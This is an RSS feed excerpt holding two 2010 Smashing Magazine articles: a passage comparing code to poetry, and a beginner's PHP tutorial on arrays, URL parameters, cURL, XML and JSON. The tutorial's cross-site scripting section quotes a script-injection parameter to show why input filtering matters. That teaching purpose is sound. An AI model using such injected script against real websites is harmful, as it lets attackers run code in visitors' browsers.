Any experienced coder would attest that tabular layouts are far more inflexible than CSS. They really limit you to the confines of the table itself. Styles, however, give you a great deal more flexibility and allow you to do a lot more. We may harp on about it a lot, to the point of being annoying, but it’s a perfect example of how failing to understand purpose can render code less effective!
CSS also provides a great example of the difference between inline, embedded and external styles. Each has a different purpose, and using it the wrong way can really weigh down your code. The external style sheet is used to implement universal styles that can be applied to an entire website (or, in some cases, multiple websites). The embedded style sheet, which is less frequently used, overwrites external styles. This is great for custom artistic posts. Inline styles can be used to overwrite the styling of a single element.
It’s all pretty straightforward for a seasoned Web designer. For the uninitiated, though, mixing up these purposes is all too easy, and it potentially results in bloated code, full of unnecessary inline styling and redundant elements, all from a lack of understanding CSS’ rules of precedence.
So, whether you code HTML or CSS, if you believe in the importance of understanding your purpose, then you certainly have something in common with the great poets.
MeaningAnother important aspect of poetry is meaning. Like any text, a poem means something on the surface: it literally means what it says, even if what it says is sometimes difficult to understand (especially with some archaic works). However, a good poem always has a secondary meaning, hidden beneath the surface.
The incomparable Robert Frost demonstrates this, in a stanza from his popular “Stopping by Woods on a Snowy Evening:”
The woods are lovely, dark, and deep, But I have promises to keep. And miles to go before I sleep, And miles to go before I sleep.
On the surface, the poem’s closing lines simply state that the narrator thinks the woods are lovely but that he has promises to keep and a long journey before he gets to bed. But there is also critical discussion about the meaning that lurks below the surface of these lines. Not to go into too much analysis here, but it has been suggested that these lines indicate a deep yearning in the narrator to abandon the responsibilities of society and retreat to the embrace of nature, possibly even to death.

Again, code can be very similar, though in a different way. Instead of having a surface meaning and an underlying meaning, code (and specifically HTML) creates meaning through both its semantics and its structure. For example, consider these two lines:
<p>The Wasteland</p><h1>The Wasteland</h1>The content is identical, but the context created by the mark-up is entirely different. In the first instance, the content is a paragraph (or simple body text). In the second, it is a first-level heading. The two are very different. Here’s another example:
<p>This is a paragraph.</p><p>This <em>is</em> a paragraph.</p>The first sentence is a simple statement. But the emphasis in the second sentence on the word “is” changes the meaning. Now it becomes more of an affirmation against the (quite legitimate) claim that a single sentence does not really constitute a paragraph. Also, notice the choice of tag, using the semantic em tag for emphasis, instead of the simple italics tag.
Similarly, a language such as PHP provides contextual meaning through conditional logic. For example, here is a snippet of WordPress code that I often use to generate the content of the title tag:

<?php
  if(is_home()){
  echo "Home :: ";
}
elseif(is_single()){
  echo the_title() . " :: ";
}
elseif(is_page()){
  echo the_title() . " :: ";
}
elseif(is_category()){
  echo single_cat_title() . " :: ";
}
elseif(is_tag()){
  echo "Articles tagged as \"";
  echo single_tag_title() . "\" :: ";
}
elseif(is_date()){
  echo "Articles posted in ";
  echo the_time('F, Y') . " :: ";
}
?>
In this case, the code produces a different title, based on the type of content being generated. It’s much different than our HTML example, but it still demonstrates the ability of a block of code to provide extra meaning to content—the same way that a poem’s subtext adds a layer of meaning below the surface.
The Importance Of Being StructuredA key similarity in the code-as-poetry metaphor is the need for structure. Poetry is traditionally a very structured form of writing. Take the sonnet, which was once widely considered one of the most elevated forms of poetry and is quite difficult to write (trust me, I’ve tried). Here is Elizabeth Barret-Browning’s famous “How Do I Love Thee”:
How do I love thee? Let me count the ways. I love thee to the depth and breadth and height My soul can reach, when feeling out of sight For the ends of Being and ideal Grace. I love thee to the level of everyday’s Most quiet need, by sun and candlelight. I love thee freely, as men might strive for Right; I love thee purely, as they turn from Praise. I love thee with the passion put to use In my old griefs, and with my childhood’s faith. I love thee with a love I seemed to lose With my lost saints,–I love thee with the breath, Smiles, tears, of all my life!–and, if God choose, I shall but love thee better after death.
This poem, which appears on so much sentimental merchandise these days, follows the sonnet structure very closely. It has the standard 14 lines, with a specific rhyming structure. For the most part, it also follows the traditional meter, called iambic pentameter. I won’t break down the sonnet’s adherence to and deviation from traditional structure (because I would probably lose your interest). Suffice it to say, this poem is constructed on a very strict and rigid scheme.

There are other types of poetic structures, too, such as the brief haiku and the silly limerick (which we looked at). Some might suggest that much modern poetry is even more “free” and unstructured. This may be the case with lesser poems, but not with the best modern works. While these poems may appear not to follow a pattern, they are always structured in some way. You just have to look harder to find it.
The structure of code, though, is very obvious—in fact, probably more so than the rigid sonnet form. Let’s look at a basic HTML document:

<html>
  <head>
    <title>A Simple Document</title>
  </head>
  <body>
    <h1>A Simple Document</h1>
    <p>This is just a simple document.</p>
  </body>
</html>
As with the sonnet, a clear structure is at work here, one that is significantly different. The html, head and body tags all give form to the document as a whole, while the title, h1 and p tags wrap and semantically define different bits of content. For every opening tag, there is a closing tag, appearing at the appropriate place in the document’s hierarchy. It’s all basic HTML.
It’s also highly structured, and without this structure, the code degrades. In some cases, it could be a semantic issue, which often goes unnoticed, because browsers will usually correct these issues. For instance, we all know that the title tag should appear between the head tags, right? Well, if the title tag is placed somewhere else, most modern browsers will still understand the tag and render it properly. Semantically and structurally, though, it’s all wrong.
The same is true of improperly nested tags. Something like the following would likely render properly in the browser:

<p>A link to <em><strong><a href="http://www.smashingmagazine.com">Smashing Magazine</em></strong></a></p>
And yet, it is structurally flawed, because tags should always be closed in the order that they were opened. Of course, things get really dicey when tags are unbalanced or when block-level elements intersect. I can’t be the only one who has been hijacked by a rogue div tag!
The point here is not to dig into the structural semantics of HTML, but to emphasize the importance of the structure in both code and poetry. If you’re nodding along with me here and agree on the importance of properly structured documents, then that’s another trait you share with poets and another bit of support for our code-is-poetry metaphor.
Trim And EfficientFinally, in a well-crafted poem, every single word has meaning and purpose. Despite what may appear to be overly complex words or flowery lines, the entire piece is meticulously crafted. A poet can spend hours struggling for just the right word, or set aside a poem for days before coming back to it for a fresh perspective.
Let’s look at another of Robert Frost’s shorter works, this one entitled “Fire and Ice”:
Some say the world will end in fire, Some say in ice. From what I’ve tasted of desire I hold with those who favor fire. But if it had to perish twice, I think I know enough of hate To say that for destruction ice Is also great And would suffice.
It may be somewhat grim, but it is also exceptionally well crafted. Each word here is so carefully placed that not a single one could be removed without detracting from the meaning of the poem.
Ezra Pound’s “In The Station of the Metro” is even more succinct:
The apparition of these faces in the crowd; Petals on a wet, black bough.
In just two lines and fourteen simple words, Pound paints a striking image, ripe with meaning and begging to be devoured by scholars and critics. Now, that’s efficiency.

Would you not agree that the same should hold true for code? Shouldn’t every tag, selector, rule and line of PHP have an explicit purpose? Unfortunately, making HTML and CSS bloated with unnecessary tags and styles is all too easy. Take this code:

<div>
  <p><span>This is a paragraph.</span></p>
</div>

div{margin: 1em 20px}
div p {font-family: sans-serif; font-size: 14px}
div p span {color: blue}
Now, compare it to this:

<p>This is a paragraph</p>

p{margin: 1em 20px; font-family: sans-serif; font-size: 14px; color: blue}
Assuming no extra margins or padding are applied to the original div, the second bit of code will render exactly the same as the first—a more economical way to achieve the same result.
As we mentioned in the section on purpose, code can also become bloated by unnecessary inline styles, where an external or even embedded style sheet would be more efficient (depending on the purpose, of course). Yet another example would be to use the onmouseover event to execute simple JavaScript effects that could be achieved more efficiently by CSS.
For the master craftsperson, great code and great poetry are lean and trim, with no excess of words or other unnecessary elements.
ConclusionPart of the beauty of metaphor is its ability to highlight meaningful similarities between two seemingly unrelated ideas. Still, I have to admit that when I really considered this code-is-poetry metaphor, I was surprised by just how deep the similarities run. In some ways, the metaphor almost blurs into reality.
Perhaps code really is a form of poetry, and the coder a new kind of poet.
What does it all mean? I can’t answer that entirely, at least not here and now. But if more people regarded code as its own kind of poetry or at the very least put the two on more even footing, it would raise the bar and lead to higher-quality work. And that would only be a good thing!
(al)
© Matt Ward for Smashing Magazine, 2010. | Permalink | 97 comments | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine Post tags: CSS, javascript, poetry, styleguide 
]]></description>
<dc:subject>Coding CSS javascript poetry styleguide</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:b16b8036e6ac/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:CSS"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:javascript"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:poetry"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:styleguide"/>
</rdf:Bag></taxo:topics>
</item>
<item rdf:about="http://www.smashingmagazine.com/2010/04/15/php-what-you-need-to-know-to-play-with-the-web/">
    <title>PHP: What You Need To Know To Play With The Web</title>
    <dc:date>2010-04-15T14:20:54+00:00</dc:date>
    <link>http://www.smashingmagazine.com/2010/04/15/php-what-you-need-to-know-to-play-with-the-web/</link>
    <dc:creator>seancron</dc:creator><description><![CDATA[    In this article, I’ll introduce you to the fundamentals of PHP. We’ll focus on using PHP to access Web services and on turning static HTML pages into dynamic ones by retrieving data from the Web and by showing different content depending on what the user has entered in a form or requested in the URL.
You won’t come out a professional PHP developer, but you’ll be well on your way to building a small page that uses Web services. You can find a lot of great PHP info on the Web, and most of the time you will end up on PHP.net itself. But I was asked repeatedly on several hack days and competitions to write this quick introduction article, so here it is.
[By the way, did you know we have a brand new free Smashing Email Newsletter? Subscribe now and get fresh short tips and tricks on Tuesdays!]
What Is PHP?PHP is a server-side language that has become a massive success for three reasons:
It is a very easy and forgiving language. Variables can be anything, and you can create them anytime you want.It is part of the free LAMP stack (Linux, Apache, MySQL, PHP) and thus available on almost any server you can rent on the Web.It does not need a special editor, environment or build process. All you do is create a file of the .php file type, mix PHP and HTML and then put it on your server for rendering.Installing PHP Locally, And Your First CodeTo run PHP locally on your computer, you’ll need a local server with PHP enabled. The easiest way to do this is to download and install MAMP for OS X or XAMPP for Windows. Once you’ve installed any of these packages, you can start using PHP. Simply create a file named index.php in the htdocs folder of your MAMP or XAMPP installation.
In this file, type (or copy and paste) the following:
<?php
  $myname = 'Chris';
  echo '<p>This is PHP</p>';
  echo "<p>My name is $myname</p>"
  echo '<p>My name in another notation is still  '.$myname.'</p>';
?>If you open this file in a browser by accessing your XAMPP or MAMP installation (via http://localhost/index.php or http://localhost:8888/index.php), you should see the following:
This is PHP
My name is Chris
My name in another notation is still ChrisBut you won’t see that. The problem is that the third line does not end in a semicolon (;). This is an error. Depending on your PHP installation, you’ll get either an error message or simply nothing. If you get nothing, then find the file named php_error.log on your hard drive, and open it. It will tell you what went wrong.

The first thing to remember, then, is that every line of PHP has to end in a semicolon. If we fix this problem, we get this result:

<?php
  $myname = 'Chris';
  echo '<p>This is PHP</p>';
  echo "<p>My name is $myname</p>";
  echo '<p>My name in another notation is still  '.$myname.'</p>';
?>We can see here the first few important features of PHP:
PHP blocks start with <?php and end with ?>. Anything between these two commands is interpreted as being PHP and returned to the document as HTML.Every line of PHP has to end with a semicolon (;), or else it is an error.Variables in PHP start with a $, not with the var keyword as you do in JavaScript (this is where it gets confusing with jQuery and Prototype).You print content to the document in PHP with the echo command. There is also a print command, which does almost the same, so you can use that, too.In this example, we have defined a string named myname as “Chris”. To print it with the echo command surrounded by other text, you need to either embed the variable name in a text with quotation marks or concatenate the string with a full stop when you use single quotation marks. This is line 3 and 4: they do the same thing but demonstrate the different syntax. Concatenation is always achieved with a full stop, never with a + as you do in JavaScript.You can jump in and out of PHP anywhere in the document. Thus, interspersing PHP with HTML blocks is totally fine. For example:
<?php
  $origin = 'Outer Space';
  $planet = 'Earth';
  $plan = 9;
  $sceneryType = "awful";
?>
<h1>Synopsis</h1>

<p>It was a peaceful time on planet <?php echo $planet;?>
and people in the <?php echo $sceneryType;?> scenery were unaware
of the diabolical plan <?php echo $plan;?> from <?php echo $origin;?>
that was about to take their senses to the edge of what could be endured.</p>This outputs the following:

Are you with me so far? To show something on the screen, particularly numbers or a string, we use echo. To show more complex structures, we need loops or specialized debugging methods.
Displaying More Complex Data TypesYou can define arrays in PHP using the array() method:
$lampstack = array('Linux','Apache','MySQL','PHP');If you simply want to display a complex data type like this in PHP for debugging, you can use the print_r() command:
$lampstack = array('Linux','Apache','MySQL','PHP');
print_r($lampstack);This gives you all the information, but it doesn’t help you structure it as HTML:

For this, you need to access the elements with the array counter. In PHP this is done with the [] brackets:
<ul>
<?php
$lampstack = array('Linux','Apache','MySQL','PHP');
echo '<li>Operating System:'.$lampstack[0] . '</li>';
echo '<li>Server:' . $lampstack[1] . '</li>';
echo '<li>Database:' . $lampstack[2] . '</li>';
echo '<li>Language:' . $lampstack[3] . '</li>';
?>
</ul>See this demo in action.
This is, of course, stupid programming because it is not flexible. If a computer is able to the dirty work for you, make it do it. In this case, we can define two arrays and use a loop:
<ul>
<?php
$lampstack = array('Linux','Apache','MySQL','PHP');
$labels = array('Operating System','Server','Database','Language');
$length = sizeof($lampstack);
for( $i = 0;$i < $length;$i++ ){
  echo '<li>' . $labels[$i] . ':' . $lampstack[$i] . '</li>';
}
?>
</ul>The for loop works the same as it does in JavaScript. The only difference is that you read the size of an array not with array.length but with sizeof($array).
Again, this example is not very clever because it assumes that both the $lampstack and the $labels array are of the same length and in the same order. Instead of using this, I’d use an associated array:
<ul>
<?php
$lampstack = array(
  'Operating System' => 'Linux',
  'Server' => 'Apache',
  'Database' => 'MySQL',
  'Language' => 'PHP'
);
$length = sizeof($lampstack);
$keys = array_keys($lampstack);
for( $i = 0;$i < $length;$i++ ){
  echo '<li>' . $keys[$i] . ':' . $lampstack[$keys[$i]] . '</li>';
}
?>
</ul>
The function array_keys() gives you back all the keys of an array as an array itself. This way, we can display the keys and the values at the same time.
A shorter way to achieve the same principle, and which works with both arrays and objects, is to use the foreach() loop construct:
<ul>
<?php
$lampstack = array(
  'Operating System' => 'Linux',
  'Server' => 'Apache',
  'Database' => 'MySQL',
  'Language' => 'PHP'
);
foreach( $lampstack as $key => $stackelm ){
  echo '<li>' . $key . ':' . $stackelm . '</li>';
}
?>
</ul>This is the shortest way to display a complex construct. But it will fail when $lampstack is not an array. So, checking for sizeof() is still a good plan. You can do this with a conditional.
Using ConditionalsConditionals are “if” statements, both in the English language and in almost any programming language I know. So, to test whether an array is safe to loop over, we could use the sizeof() test:
<ul>
<?php
$lampstack = array(
  'Operating System' => 'Linux',
  'Server' => 'Apache',
  'Database' => 'MySQL',
  'Language' => 'PHP'
);
if( sizeof($lampstack) > 0 ){
  foreach( $lampstack as $key => $stackelm ){
    echo '<li>' . $key . ':' . $stackelm . '</li>';
  }
}
?>
</ul>Common conditionals are:
if($x > 10 and $x < 20) Is $x bigger than 10 and less than 20?if(isset($name)) Has the variable $name been defined?if($name == 'Chris') Does the variable $name have the value of "Chris"?if($name == 'Chris' or $name == 'Vitaly') Does the variable $name have the value of "Chris" or "Vitaly"?Cool, but what if we want to make this reusable?
Functions In PHPTo make a task even more generic, we can write a function. In this case, we put the loop and the testing in a function and simply call it with different arrays:
<?php
function renderList($array){
  if( sizeof($array) > 0 ){
    echo '<ul>';
    foreach( $array as $key => $item ){
      echo '<li>' . $key . ':' . $item . '</li>';
    }
    echo '</ul>';
  }
}
$lampstack = array(
  'Operating System' => 'Linux',
  'Server' => 'Apache',
  'Database' => 'MySQL',
  'Language' => 'PHP'
);
renderList($lampstack);

$awfulacting = array(
  'Natalie Portman' => 'Star Wars',
  'Arnold Schwarzenegger' => 'Batman and Robin',
  'Keanu Reaves' => '*'
);
renderList($awfulacting);
?>Note that functions do not begin with a dollar sign.
We've already seen most of the magic of PHP. The rest is all about building functions to do all kinds of things: converting strings, sorting arrays, finding things in other things, accessing the file system, setting cookies and much more, each of which does one and only one thing right. I keep catching myself writing complex functions in PHP, only to realize from looking at the documentation that a native function already exists for it.
Interacting With The Web: URL ParametersLet's start playing with the Web in PHP… or, more precisely, playing with information that comes from the browser's address bar or with forms that we can re-use. To get parameters from the current URL, we use the global $_GET array. So, if you call the index.php script with http://localhost/index.php?language=fr&font=large, you can change the display and locale by checking for these settings. The language parameter will be available as $_GET['language'], and the font parameter as  $_GET['font']:
<?php
$name = 'Chris';

// if there is no language defined, switch to English
if( !isset($_GET['language']) ){
  $welcome = 'Oh, hello there, ';
}
if( $_GET['language'] == 'fr' ){
  $welcome = 'Salut, ';
}
switch($_GET['font']){
  case 'small':
    $size = 80;
  break;
  case 'medium':
    $size = 100;
  break;
  case 'large':
    $size = 120;
  break;
  default:
    $size = 100;
  break;
}
echo '<style>body{font-size:' . $size . '%;}</style>';
echo '<h1>'.$welcome.$name.'</h1>';
?>This means we can now send URL parameters to change the behavior of this document:

http://localhost:8888/index.phphttp://localhost:8888/index.php?language=frhttp://localhost:8888/index.php?language=fr&font=largeNotice that predefining a set of values that are acceptable for a certain parameter is always best. In the earlier example, we may as well have set the font size in pixels as a parameter and then written that to the document—but then we would have needed a good validation script to prevent end users from sending bad values or even malicious code through the parameter.
Sending malicious code via a parameter without filtering is called cross-site scripting (XSS), and it is one of the big security problems of the Web. You can prevent it by not printing out the values of parameters, and instead using them in comparisons, and by using the filters provided by PHP.
Say you want to allow users to enter data in a form that you will display later on. Make sure to filter out the results:
<?php
  $search_html = filter_input(INPUT_GET, 's',
                              FILTER_SANITIZE_SPECIAL_CHARS);
  $search_url = filter_input(INPUT_GET, 's',
                             FILTER_SANITIZE_ENCODED);
?>
<form action="index.php" method="get">
  <div>
    <label for="search">Search:</label>
    <input type="text" name="s" id="search"
           value="<?php echo $search_html;?>">
  </div>
  <div class="bar"><input type="submit" value="Make it so"></div>
</form>
<?php
if(isset($_GET['s'])){
  echo '<h2>You searched for '.$search_html.'</h2>';
  echo '<p><a href="index.php?search='.$search_url.'">Search again.</a></p>';
}
?>See this filtering example in action. Without the filters, attackers could send parameters like index.php?s="<script>, which would execute third-party code on your website. With filtering, this malicious code is converted to HTML entities.
If you want to use POST as the method to send the data in your form, then the PHP variables will change accordingly to $_POST for the array and INPUT_POST for the filter.
Loading Content From The WebPHP comes with a lot of file functions that allow you to read and write files from the hard drive or to load content from the Web. I've found, however, that for security reasons a lot of hosting companies disable them, especially when you try to read content from a third-party resource. The workaround is to use cURL to load information from the Web. cURL is a tool that allows you to make HTTP requests to retrieve information—a kind of browser in command-line form. I've written a detailed post about cURL and how to use it. Here, then, is a simple use case to illustrate:
<?php
  // define the URL to load
  $url = 'http://www.smashingmagazine.com';
  // start cURL
  $ch = curl_init();
  // tell cURL what the URL is
  curl_setopt($ch, CURLOPT_URL, $url);
  // tell cURL that you want the data back from that URL
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  // run cURL
  $output = curl_exec($ch);
  // end the cURL call (this also cleans up memory so it is
  // important)
  curl_close($ch);
  // display the output
  echo $output;
?>If you run this in the browser, you'll see Smashing Magazine's home page.

You could also strip out content from the data:
<?php
  // define the URL to load
  $url = 'http://www.smashingmagazine.com';
  // start cURL
  $ch = curl_init();
  // tell cURL what the URL is
  curl_setopt($ch, CURLOPT_URL, $url);
  // tell cURL that you want the data back from that URL
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  // run cURL
  $output = curl_exec($ch);
  // end the cURL call (this also cleans up memory so it is
  // important)
  curl_close($ch);
  // if a filter parameter with the value links was sent
  if($_GET['filter'] == 'links'){
    // get all the links from the document and show them
    echo '<ul>';
    preg_match_all('/<a[^>]+>[^<\/a>]+<\/a>/msi',$output,$links);
    foreach($links[0] as $l){
      echo '<li>' . $l . '</li>';
    }
    echo'</ul>';
  // otherwise just show the page
  } else {
    echo $output;
  }
?>If you open this in your browser, you'll get all of the links from Smashing Magazine and no other content.

Nowadays, though, we are more likely to use APIs than to load websites this way, which is why we need a way to convert the XML and JSON that are returned from Web services into PHP-friendly data.
Displaying XML ContentThe easiest way to deal with XML content in PHP is to use the SimpleXML functions of PHP. Using these, we can turn a bunch of XML into a PHP object and loop over it. To show Smashing Magazine's RSS feed, we can do the following:
<?php
  $url = 'http://rss1.smashingmagazine.com/feed/';
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $output = curl_exec($ch);
  curl_close($ch);
  $data = simplexml_load_string($output);
  echo '<ul>';
  foreach($data->entry as $e){
    echo '<li><a href="' . $e->link[0]['href'] .
         '">'.$e->title.'</a></li>';
  }
  echo '</ul>';
?>The simplexml_load_string() function turns the XML document into a PHP object with arrays. How did I figure out to loop over data->entry and get the href via link[0]['href']? Simple. I did a print_r($output) and checked the source of the document by hitting Cmd + U in Firefox on my Mac. That showed me that this entry is an array. I then did a print_r($e) in the loop to see all the properties of every entry. If it is part of the @attributes array, then you need to use the [] notation.
That's all. The only stumbling block you will encounter is CDATA blocks and namespaces in SimpleXML. Stuart Herbert has a good introduction to these two issues in this article.
Displaying JSON ContentThe data format JSON is the low-fat alternative to XML. It is far less complex (e.g. no namespaces), and if you work in a JavaScript environment, it is native to the browser. This makes it very fast and easy to use, and for this reason it has started to become a popular data format for APIs. In essence, JSON is a JavaScript object. For example, I could write the LAMP stack example as follows:
{"lampstack":
  {
    "operatingsystem" : "Linux",
    "server" : "Apache",
    "database" : "MySQL",
    "language" : "PHP"
  }
}You can convert this to PHP using the json_decode() method, and get it back as a PHP object:
<?php
  $json = '{
  "lampstack":
  {
    "operatingsystem":"Linux",
    "server":"Apache",
    "database":"MySQL",
    "language":"PHP"
    }
  }';
  print_r(json_decode($json));
?>One API that returns JSON is the Twitter trends API. If you load the API's URL with cURL and do a print_r() after json_decode(), you get the following back:
<?php
  $url = 'http://search.twitter.com/trends.json';
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $output = curl_exec($ch);
  curl_close($ch);
  $data = json_decode($output);
  print_r($data);
?>stdClass Object
(
[trends] => Array
  (
    [0] => stdClass Object
    (
      [name] => #nowplaying
      [url] => http://search.twitter.com/search?q=%23nowplaying
    )

    [1] => stdClass Object
    (
      [name] => #Didntwannatellyou
      [url] => http://search.twitter.com/search?q=%23Didntwannatellyou
    )

    [2] => stdClass Object
    (
      [name] => #HappyBirthdayGagaBR
      [url] => http://search.twitter.com/search?q=%23HappyBirthdayGagaBR
    )

    [3] => stdClass Object
    (
      [name] => Justin Bieber
      [url] => http://search.twitter.com/search?q=%22Justin+Bieber%22
    )

    [4] => stdClass Object
    (
      [name] => #FreakyFactSays
      [url] => http://search.twitter.com/search?q=%23FreakyFactSays
    )

    [5] => stdClass Object
    (
      [name] => #YouSoGangsta
      [url] => http://search.twitter.com/search?q=%23YouSoGangsta
    )

    [6] => stdClass Object
    (
      [name] => I ?
      [url] => http://search.twitter.com/search?q=%22I+%E2%99%A5%22
    )

    [7] => stdClass Object
    (
      [name] => #MeMyselfandTime
      [url] => http://search.twitter.com/search?q=%23MeMyselfandTime
    )

    [8] => stdClass Object
    (
      [name] => #2010yearofJonas
      [url] => http://search.twitter.com/search?q=%232010yearofJonas
    )

    [9] => stdClass Object
    (
      [name] => Easter
      [url] => http://search.twitter.com/search?q=Easter
    )
  )
  [as_of] => Sun, 28 Mar 2010 19:31:30 +0000
)
You can then use a simple loop to render the current trends as an unordered list:
<?php
  $url = 'http://search.twitter.com/trends.json';
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $output = curl_exec($ch);
  curl_close($ch);
  $data = json_decode($output);
  echo '<h2>Twitter trending topics ('.$data->as_of.')</h2>';
  echo '<ul>';
  foreach ($data->trends as $t){
    echo '<li><a href="'.$t->url.'">'.$t->name.'</a></li>';
  }
  echo '</ul>';
?>Putting It All TogetherLet's do a quick example using all of the things we've learned so far: a simple search interface for the Web.
Using Yahoo's YQL, it is pretty easy to do a Web search for "cat" with the command select * from search.web where query="cat" sent to the YQL endpoint. You can define JSON as the return format, and the rest means you simply enhance the earlier form example:
<?php
  $search_html = filter_input(INPUT_GET, 's', FILTER_SANITIZE_SPECIAL_CHARS);
  $search_url = filter_input(INPUT_GET, 's', FILTER_SANITIZE_ENCODED);
?>
<form action="index.php" method="get">
  <div>
    <label for="search">Search:</label>
    <input type="text" name="s" id="search"
           value="<?php echo $search_html;?>">
   <input type="hidden" name="demo" value="17">
   <input type="submit" value="Make it so">
  </div>
</form>
<?php
if(isset($_GET['s'])){
  echo '<h2>You searched for '.$search_html.'</h2>';
  $yql = 'select * from search.web where query="'.$search_url.'"';
  $url = 'http://query.yahooapis.com/v1/public/yql?q='.
          urlencode($yql).'&format=json&diagnostics=false';
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $output = curl_exec($ch);
  curl_close($ch);
  $data = json_decode($output);
  echo '<ul>';
  foreach ($data->query->results->result as $r){
    echo '<li><h3><a href="'.$r->clickurl.'">'.$r->title.'</a></h3>'.
         '<p>'.$r->abstract.' <span>('.$r->dispurl.')</span></p></li>';
  }
  echo '</ul>';

  echo '<p><a href="index.php?search='.$search_url.'&demo=17">Search again.</a></p>';
}
?>Interaction With JavaScriptOne thing people keep asking about is how to send information from PHP to JavaScript and back. This can be done in a few ways.
To send information from JavaScript to PHP, you need to either alter the href of a link or populate a hidden form field. The other solution of course is to use AJAX.To send information from PHP to JavaScript, simply render a script element and write out the PHP information with an echo statement.Using PHP's header() function and json_encode(), you can send data back to the browser as JavaScript, which allows us to use it as a src attribute of a script node.For example, to get Smashing Magazine's RSS feed as a JavaScript object, you could do the following:
<?php
  header('Content-type: text/javascript');
  $url = 'http://rss1.smashingmagazine.com/feed/';
  $ch = curl_init();
  curl_setopt($ch, CURLOPT_URL, $url);
  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  $output = curl_exec($ch);
  curl_close($ch);
  $data = simplexml_load_string($output);
  $data = json_encode($data);
  echo 'var smashingrss='.$data;
?>You could then use this in a JavaScript block:
<script src="http://icant.co.uk/articles/phpforhacks/index.php?demo=18"></script>
<script>alert(smashingrss.title);</script>Using header() and json_encode(), you could do any complex conversion and filtering in PHP and re-use it in JavaScript.
SummaryI hope this gives you an idea of what PHP is and how you can use it to access Web services and to build your own APIs to re-use in JavaScript. Using PHP for the Web boils down to a few tricks:
Use cURL to load data from Web resources;Convert information with simplexml_load_string() and json_decode();Check the structure of returned information with print_r();Loop over information with foreach();Use the $_GET[] and $_POST[] arrays to re-use form data and URL parameters;Filter information from the user and from URLs using the built-in PHP filtering methods.A lot of documentation is out there, and your best bet is to go directly to the PHP home page to read or download the documentation. Check out the user comments in particular, because that is where the real gems and examples of implementation appear.
(al)
© Christian Heilmann for Smashing Magazine, 2010. | Permalink | 167 comments | Add to del.icio.us | Digg this | Stumble on StumbleUpon! | Tweet it! | Submit to Reddit | Forum Smashing Magazine Post tags: PHP 
]]></description>
<dc:subject>Coding PHP</dc:subject>
<dc:identifier>https://pinboard.in/u:seancron/b:26edae97aa3e/</dc:identifier>
<taxo:topics><rdf:Bag>	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:Coding"/>
	<rdf:li rdf:resource="https://pinboard.in/u:seancron/t:PHP"/>
</rdf:Bag></taxo:topics>
</item>
</rdf:RDF>